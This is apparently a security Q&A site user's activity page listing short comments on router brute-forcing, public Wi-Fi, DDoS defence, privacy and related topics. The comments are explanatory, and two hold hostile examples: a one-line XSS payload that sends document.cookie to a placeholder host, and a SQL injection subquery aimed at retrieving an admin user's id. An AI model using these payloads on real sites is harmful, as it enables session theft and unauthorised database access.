356 reputation
29
bio website
location
age
visits member for 1 year, 9 months
seen 2 days ago

Oct
6
comment Hydra sometimes fails against my own router known password
Have you tried to sniff this traffic? Bet you will see the difference there. I mean, if your interface sending same requests and gets different responses then it is more likely your router to blame, not hydra.
Jun
11
comment Is my computer at risk of being hacked when using public Wi-Fi?
HTTPS Everywhere should fix unsafe SO autologin.
Jun
11
comment Identity theft from ubuntu machine?
Or 4. Payment details stolen during network transmission (lack of TLS, MitM, etc.) (which is neither 1. nor 3.)
May
23
comment XSS cookie stealing without redirecting to another page
And you can even request it without writing to document: image = new Image(); image.src='http://example.com?c='+document.cookie;
Mar
24
answered Up to date books for OpenSSL coverage of TLS 1.1 and 1.2
Mar
13
comment Would using Google reCAPTCHA allow Google to cheat?
As a side note: Google captcha allows Google users to cheat if they're signed in (here's a GIF with this: img.pr0gramm.com/2014/01/1389638757279.gif)
Mar
13
awarded  Yearling
Jan
8
comment What approach would you choose to defend againt DDoS attacks from Nginx level?
@thatguyfromoverthere temporarily block zombie IPs with a firewall as a prevention of some other types of attacks.
Jan
5
comment What approach would you choose to defend againt DDoS attacks from Nginx level?
@Shadur because with LUA-fu one can evaluate more complex ban conditions and filters realtime. Like cookies, additional headers, and maybe some aggregated stats from memcached/redis/RDBMS/etc. fail2ban is quite handy too, but it is not as flexible as nginx+LUA.
Jan
5
answered What approach would you choose to defend againt DDoS attacks from Nginx level?
Oct
31
comment Is $_REQUEST['id'] vulnerable to sql injection
Setting id to something like (SELECT id FROM user WHERE user.name LIKE '%admin%' ORDER BY id ASC LIMIT 1) will lead to SELECT * FROM newsevent where id = (SELECT id FROM user WHERE user.name LIKE '%admin%' ORDER BY id ASC LIMIT 1) ORDER BY id DESC which is sqlinj. This is a mostly useless example, but you get the point.
Oct
30
comment Efficacy of Chrome incognito mode
And *nix equivalent would be nice too. (in this case it would be "where does Chrome keep it's cache under %OS-name%", I think)
Oct
30
comment What are the risks of setting a cookie to have a more global scope?
You may find security.stackexchange.com/questions/33851/… and answers useful
Oct
16
comment Spam title includes unusual words from my recent emails
@Jor-el oh, that one is good, added to a list, thanks.
Oct
16
revised Spam title includes unusual words from my recent emails
Added suggestion from comments
Oct
14
answered Spam title includes unusual words from my recent emails
Oct
9
comment Why is Bruce Schneier recommending symmetric crypto over public key crypto
@ott-- What's wrong with quantum computers?
Oct
2
awarded  Editor
Oct
2
revised Apple FileVault — would Apple build a backdoor?
Quoted links, added more info.
Oct
2
suggested approved edit on Apple FileVault — would Apple build a backdoor?